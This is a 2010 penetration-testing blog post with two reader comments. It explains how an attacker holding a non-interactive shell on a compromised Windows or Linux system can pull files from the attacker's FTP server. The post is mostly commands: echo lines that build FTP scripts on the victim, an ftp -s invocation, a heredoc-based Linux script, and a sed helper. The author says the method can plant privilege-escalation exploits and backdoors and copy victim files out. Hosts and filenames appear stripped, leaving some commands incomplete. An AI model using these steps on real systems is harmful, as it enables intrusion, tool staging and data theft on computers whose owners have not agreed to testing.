Sunday, 28 November 2010

FTP transfers from within a non-interactive shell (Windows and Linux)

This post covers how an attacker can perform FTP file transfers from within a non-interactive shell (for both Windows and Linux target systems)

Please use this information for legitimate penetration testing purposes only.

When a system is compromised by an attacker, it is common to try to initiate a command shell so that the system can be remotely controlled; commands issued, and files uploaded/downloaded.

However, basic non-interactive shells to compromised systems can be rather tricky to use, because it is so easy to make a mistake and run an interactive program, and then loose control of your shell (and connectivity to the compromised host).

This is why I generally prefer to get an SSH or Metasploit Meterpreter session going once I have initially compromised a system. Before an attacker could do this however, they would need to upload or download files from the system, perhaps using FTP, TFTP, SSH or HTTP. Here we look specifically at FTP.

The interactive nature of the FTP console

As the FTP program provides an interactive prompt, it is not straight-forward to use it in a non-interactive shell. Once you start the FTP command, the FTP console will be stuck waiting for input it can never get.

So how can you use FTP in a non interactive shell?

In these examples our attacking system ( has an FTP server running, hosting our malicious files (in this case, test.txt)

FTP in a non-interactive shell to a Windows system

For a Windows system, this is relatively easy because the Windows version of FTP supports the "-s" option.

This enables an attacker to create a script of FTP commands, and then run that script on the remote system.

The script containing the FTP commands can be put on the remote system by echoing commands to a new file on the system using the shell. This sounds complicated but is literally a question of pasting something like the following blob of commands into the shell:

echo open 21> ftp.txt
echo anonymous>> ftp.txt
echo>> ftp.txt
echo bin >> ftp.txt
echo get test.txt >> ftp.txt
echo bye >> ftp.txt

This script file can then be checked with the following command. Each line above has created a line in the script file on the remote system.

type ftp.txt

open 21

get test.txt

This can then be executed on the remote system, like this:

ftp -s:ftp.txt

This works well and is quick and easy in a Windows shell, however, the task is slightly more complex on a Linux system.

FTP in a non-interactive shell to a Linux system

Normally the FTP command shell on Linux does not have the "-s" option, so we will need to build a shell script to execute the FTP commands. Something like this will work.

echo "#!/bin/sh" >>
echo "HOST=''" >>
echo "USER='anonymous'" >>
echo "PASSWD=''" >>
echo "FILE='test.txt'" >>
echo "" >>
echo "ftp -n \$HOST <<BLAH " >>
echo "quote USER \$USER" >>
echo "quote PASS \$PASSWD" >>
echo "bin" >>
echo "get \$FILE" >>
echo "quit" >>
echo "BLAH" >>
echo "exit 0" >>

When pasted into a non-interactive shell the above commands will produce a script file on the remote vicitm, "".


ftp -n $HOST <<BLAH
quote USER $USER
get $FILE
exit 0

To check, and run this script, simply execute the following commands:

chmod 777

...and this will use FTP to download our test file to the target system.

Using this technique it would be relatively easy to put additional files on the victim system, such as; connectivity tools, privilege-escalation exploits, back-doors, and also copy files from the victim system using the same method (with a put rather than a get).

Adding the "echo"s to your own scripts

So, say you have some commands you want to put onto the remote system as a script. It would be a bit of a pain to manually add all those "echo"s to each line, so here is an easy way to add the prepended "echo", and the appended ">> file.txt" to each line.

cat | sed 's/^/echo "/' | sed 's/$/" >>' | sed 's/\$/\\\$/'> ftpecho.txt

(This command would be used on the attacking system, to prepare the blob of echo commands you want to paste into the non-interactive shell. It also helps protect the $ character which was used in the Linux script above for shell-script variables).


  1. This comment has been removed by the author.

  2. Thanks for taking time to share this post. It is really useful. Continue sharing more like this.
    Python Training in Chennai